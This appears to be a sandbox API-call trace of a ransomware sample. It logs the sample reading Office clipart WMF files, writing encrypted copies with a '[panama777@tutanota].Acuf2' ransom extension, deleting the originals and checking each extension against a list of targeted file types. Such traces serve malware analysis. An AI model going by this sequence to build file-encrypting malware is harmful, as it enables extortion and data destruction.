	[0264.133] WriteFile (in: hFile=0x32c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x8c0, lpOverlapped=0x0) returned 1
	[0264.133] ReadFile (in: hFile=0x344, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0264.133] WriteFile (in: hFile=0x32c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0264.133] SetEndOfFile (hFile=0x32c) returned 1
	[0264.134] CloseHandle (hObject=0x32c) returned 1
	[0264.134] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.134] SetEndOfFile (hFile=0x344) returned 1
	[0264.136] CloseHandle (hObject=0x344) returned 1
	[0264.136] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.136] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf")) returned 1
	[0264.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63
	[0264.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63
	[0264.137] lstrlenW (lpString=".doc") returned 4
	[0264.137] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0264.137] lstrlenW (lpString=".docx") returned 5
	[0264.137] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0264.137] lstrlenW (lpString=".pdf") returned 4
	[0264.137] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0264.137] lstrlenW (lpString=".xls") returned 4
	[0264.137] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0264.137] lstrlenW (lpString=".xlsx") returned 5
	[0264.137] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0264.137] lstrlenW (lpString=".ppt") returned 4
	[0264.137] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0264.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63
	[0264.137] lstrlenW (lpString=".zip") returned 4
	[0264.137] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0264.137] lstrlenW (lpString=".rar") returned 4
	[0264.137] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0264.137] lstrlenW (lpString=".bz2") returned 4
	[0264.137] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0264.137] lstrlenW (lpString=".7z") returned 3
	[0264.137] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0264.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63
	[0264.137] lstrlenW (lpString=".dbf") returned 4
	[0264.137] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0264.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63
	[0264.138] lstrlenW (lpString=".1cd") returned 4
	[0264.138] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0264.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63
	[0264.138] lstrlenW (lpString=".jpg") returned 4
	[0264.138] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0264.138] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=1026) returned 1
	[0264.138] CloseHandle (hObject=0x344) returned 1
	[0264.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf")) returned 0x20
	[0264.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0264.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0264.138] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.138] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0264.139] GetLastError () returned 0x0
	[0264.139] ReadFile (in: hFile=0x344, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x402, lpOverlapped=0x0) returned 1
	[0264.288] WriteFile (in: hFile=0x32c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x410, lpOverlapped=0x0) returned 1
	[0264.289] ReadFile (in: hFile=0x344, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0264.289] WriteFile (in: hFile=0x32c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0264.289] SetEndOfFile (hFile=0x32c) returned 1
	[0264.813] CloseHandle (hObject=0x32c) returned 1
	[0264.813] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.813] SetEndOfFile (hFile=0x344) returned 1
	[0265.281] CloseHandle (hObject=0x344) returned 1
	[0265.281] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0265.281] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf")) returned 1
	[0265.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63
	[0265.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63
	[0265.282] lstrlenW (lpString=".doc") returned 4
	[0265.282] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0265.282] lstrlenW (lpString=".docx") returned 5
	[0265.282] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0265.282] lstrlenW (lpString=".pdf") returned 4
	[0265.282] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0265.282] lstrlenW (lpString=".xls") returned 4
	[0265.282] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0265.282] lstrlenW (lpString=".xlsx") returned 5
	[0265.282] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0265.282] lstrlenW (lpString=".ppt") returned 4
	[0265.282] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0265.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63
	[0265.282] lstrlenW (lpString=".zip") returned 4
	[0265.282] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0265.282] lstrlenW (lpString=".rar") returned 4
	[0265.282] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0265.282] lstrlenW (lpString=".bz2") returned 4
	[0265.282] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0265.282] lstrlenW (lpString=".7z") returned 3
	[0265.282] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0265.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63
	[0265.282] lstrlenW (lpString=".dbf") returned 4
	[0265.282] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0265.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63
	[0265.282] lstrlenW (lpString=".1cd") returned 4
	[0265.282] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0265.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63
	[0265.283] lstrlenW (lpString=".jpg") returned 4
	[0265.283] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0265.283] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=1400) returned 1
	[0265.283] CloseHandle (hObject=0x344) returned 1
	[0265.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf")) returned 0x20
	[0265.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0265.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0265.283] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.283] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0265.284] GetLastError () returned 0x0
	[0265.284] ReadFile (in: hFile=0x344, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x578, lpOverlapped=0x0) returned 1
	[0265.426] WriteFile (in: hFile=0x35c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x580, lpOverlapped=0x0) returned 1
	[0265.426] ReadFile (in: hFile=0x344, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0265.426] WriteFile (in: hFile=0x35c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0265.426] SetEndOfFile (hFile=0x35c) returned 1
	[0265.427] CloseHandle (hObject=0x35c) returned 1
	[0265.427] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.427] SetEndOfFile (hFile=0x344) returned 1
	[0265.430] CloseHandle (hObject=0x344) returned 1
	[0265.430] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0265.434] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf")) returned 1
	[0265.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63
	[0265.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63
	[0265.434] lstrlenW (lpString=".doc") returned 4
	[0265.434] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0265.434] lstrlenW (lpString=".docx") returned 5
	[0265.434] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0265.434] lstrlenW (lpString=".pdf") returned 4
	[0265.434] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0265.434] lstrlenW (lpString=".xls") returned 4
	[0265.434] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0265.434] lstrlenW (lpString=".xlsx") returned 5
	[0265.434] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0265.434] lstrlenW (lpString=".ppt") returned 4
	[0265.435] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0265.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63
	[0265.435] lstrlenW (lpString=".zip") returned 4
	[0265.435] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0265.435] lstrlenW (lpString=".rar") returned 4
	[0265.435] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0265.435] lstrlenW (lpString=".bz2") returned 4
	[0265.435] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0265.435] lstrlenW (lpString=".7z") returned 3
	[0265.435] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0265.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63
	[0265.435] lstrlenW (lpString=".dbf") returned 4
	[0265.435] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0265.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63
	[0265.435] lstrlenW (lpString=".1cd") returned 4
	[0265.435] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0265.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63
	[0265.435] lstrlenW (lpString=".jpg") returned 4
	[0265.435] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0265.470] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=12632) returned 1
	[0265.470] CloseHandle (hObject=0x35c) returned 1
	[0265.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf")) returned 0x20
	[0265.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0265.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0265.471] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.471] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214
	[0265.471] GetLastError () returned 0x0
	[0265.471] ReadFile (in: hFile=0x35c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x3158, lpOverlapped=0x0) returned 1
	[0265.794] WriteFile (in: hFile=0x214, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x3160, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x3160, lpOverlapped=0x0) returned 1
	[0265.795] ReadFile (in: hFile=0x35c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0265.795] WriteFile (in: hFile=0x214, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0265.795] SetEndOfFile (hFile=0x214) returned 1
	[0265.795] CloseHandle (hObject=0x214) returned 1
	[0265.796] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.796] SetEndOfFile (hFile=0x35c) returned 1
	[0265.798] CloseHandle (hObject=0x35c) returned 1
	[0265.798] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0266.690] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf")) returned 1
	[0267.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63
	[0267.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63
	[0267.874] lstrlenW (lpString=".doc") returned 4
	[0267.874] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0267.874] lstrlenW (lpString=".docx") returned 5
	[0267.874] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0267.874] lstrlenW (lpString=".pdf") returned 4
	[0267.874] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0267.874] lstrlenW (lpString=".xls") returned 4
	[0267.874] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0267.874] lstrlenW (lpString=".xlsx") returned 5
	[0267.874] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0267.874] lstrlenW (lpString=".ppt") returned 4
	[0267.874] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0267.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63
	[0267.874] lstrlenW (lpString=".zip") returned 4
	[0267.875] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0267.875] lstrlenW (lpString=".rar") returned 4
	[0267.875] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0267.875] lstrlenW (lpString=".bz2") returned 4
	[0267.875] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0267.875] lstrlenW (lpString=".7z") returned 3
	[0267.875] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0267.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63
	[0267.875] lstrlenW (lpString=".dbf") returned 4
	[0267.875] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0267.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63
	[0267.875] lstrlenW (lpString=".1cd") returned 4
	[0267.875] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0267.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63
	[0267.875] lstrlenW (lpString=".jpg") returned 4
	[0267.875] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.032] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=4032) returned 1
	[0268.032] CloseHandle (hObject=0x360) returned 1
	[0268.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf")) returned 0x20
	[0268.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0268.075] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.075] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0268.075] GetLastError () returned 0x0
	[0268.075] ReadFile (in: hFile=0x274, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0xfc0, lpOverlapped=0x0) returned 1
	[0268.093] WriteFile (in: hFile=0x36c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xfd0, lpOverlapped=0x0) returned 1
	[0268.094] ReadFile (in: hFile=0x274, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.094] WriteFile (in: hFile=0x36c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.094] SetEndOfFile (hFile=0x36c) returned 1
	[0268.094] CloseHandle (hObject=0x36c) returned 1
	[0268.095] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.095] SetEndOfFile (hFile=0x274) returned 1
	[0268.097] CloseHandle (hObject=0x274) returned 1
	[0268.097] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.116] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf")) returned 1
	[0268.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63
	[0268.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63
	[0268.136] lstrlenW (lpString=".doc") returned 4
	[0268.136] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.136] lstrlenW (lpString=".docx") returned 5
	[0268.136] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0268.136] lstrlenW (lpString=".pdf") returned 4
	[0268.136] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.136] lstrlenW (lpString=".xls") returned 4
	[0268.136] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.136] lstrlenW (lpString=".xlsx") returned 5
	[0268.136] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0268.136] lstrlenW (lpString=".ppt") returned 4
	[0268.136] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
